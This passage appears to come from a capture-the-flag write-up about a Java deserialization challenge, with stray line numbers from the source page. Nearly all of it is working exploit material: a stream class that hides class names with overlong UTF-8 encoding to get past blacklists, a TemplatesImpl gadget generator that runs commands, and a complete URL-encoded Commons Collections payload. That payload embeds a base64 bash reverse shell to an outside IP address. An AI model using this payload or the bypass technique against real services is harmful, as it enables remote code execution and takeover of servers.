bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});

}



public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}


protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException {
String name = desc.getName();
boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
boolean serializable = (boolean) getFieldValue(desc, "serializable");
boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
System.out.println(name);
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);


writeLong(desc.getSerialVersionUID());
byte flags = 0;
if (externalizable) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
null;
int protocol;
try {
protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
protocol = (int) protocolField.get(this);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if (serializable) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if (hasWriteObjectData) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if (isEnum) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);

writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
invoke(this, "writeTypeString", f.getTypeString());
}
}
}

public static void invoke(Object object, String methodName, Object... args) {
Method writeTypeString = null;
try {
writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
writeTypeString.setAccessible(true);
try {
writeTypeString.invoke(object, args);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}

public static Object getFieldValue(Object object, String fieldName) {
Class<?> clazz = object.getClass();
Field field = null;
Object value = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
value = field.get(object);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return value;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package gdufs.challenge.web;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Utils {
public static String getTemplatesImplBase64() throws Exception{
return new String(Base64.getEncoder().encode(GenerateEvil()));
}

public static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}

public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field nameField = clz.getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(obj, value);
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static String Serialize(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
return str;
}
public static void UnSerialize(String str) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
objectInputStream.readObject();
}
public static String Base64_Encode(byte[] bytes) throws Exception{
return new String(Base64.getEncoder().encode(bytes));
}
public static String Byte2Hex(byte[] bytes) throws Exception{
StringBuilder builder = new StringBuilder();
for(byte b: bytes){
builder.append(String.format("%02X", b));
}
System.out.println(builder.toString());
return builder.toString();
}
public static byte[] Hex2Byte(String hexString) {
int len = hexString.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+ Character.digit(hexString.charAt(i+1), 16));
}
return data;
}
}

payload url编码一下打过去就可以了

1
payload=rO0ABXNyADPggarggaHggbbggaHggK7ggbXggbTgganggazggK7ggYjggaHggbPggajggY3ggaHggbAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXNyAJzgga%2FggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga%2Fgga3gga3gga%2Fgga7ggbPggK7ggaPgga%2FggazggazggaXggaPggbTggangga%2Fgga7ggbPggK7ggavggaXggbnggbbggaHggazggbXggaXggK7ggZTgganggaXggaTggY3ggaHggbDggYXgga7ggbTggbLggbmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAfuCBr%2BCBsuCBp%2BCAruCBoeCBsOCBoeCBo%2BCBqOCBpeCAruCBo%2BCBr%2BCBreCBreCBr%2BCBruCBs%2BCAruCBo%2BCBr%2BCBrOCBrOCBpeCBo%2BCBtOCBqeCBr%2BCBruCBs%2BCAruCBreCBoeCBsOCAruCBjOCBoeCBuuCBueCBjeCBoeCBsG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGo4IGh4IGp4IGu4IGl4IGk4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgCH4IGb4IGM4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGy4IC7vVYq8dg0GJkCAAB4cAAAAARzcgCx4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGv4IGu4IGz4IG04IGh4IGu4IG04IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAM%2BCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp%2BCAruCBkuCBteCBruCBtOCBqeCBreCBpQAAAAAAAAAAAAAAeHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGJ4IGu4IG24IGv4IGr4IGl4IGy4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyh%2Bj%2Fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgA54IGb4IGM4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGP4IGi4IGq4IGl4IGj4IG04IC7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyADbggZvggYzggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggYPggazggaHggbPggbPggLurFteuy81amQIAAHhwAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggZPggbTggbLggangga7ggaeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggY%2FggaLggarggaXggaPggbQAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAXWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFd05pNDFNaTQ1TkM0eU15OHlNek16SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB%2BABwAAAABcQB%2BAB9zcQB%2BAAA%2FQAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng%3D

shell弹过来了,flag is in env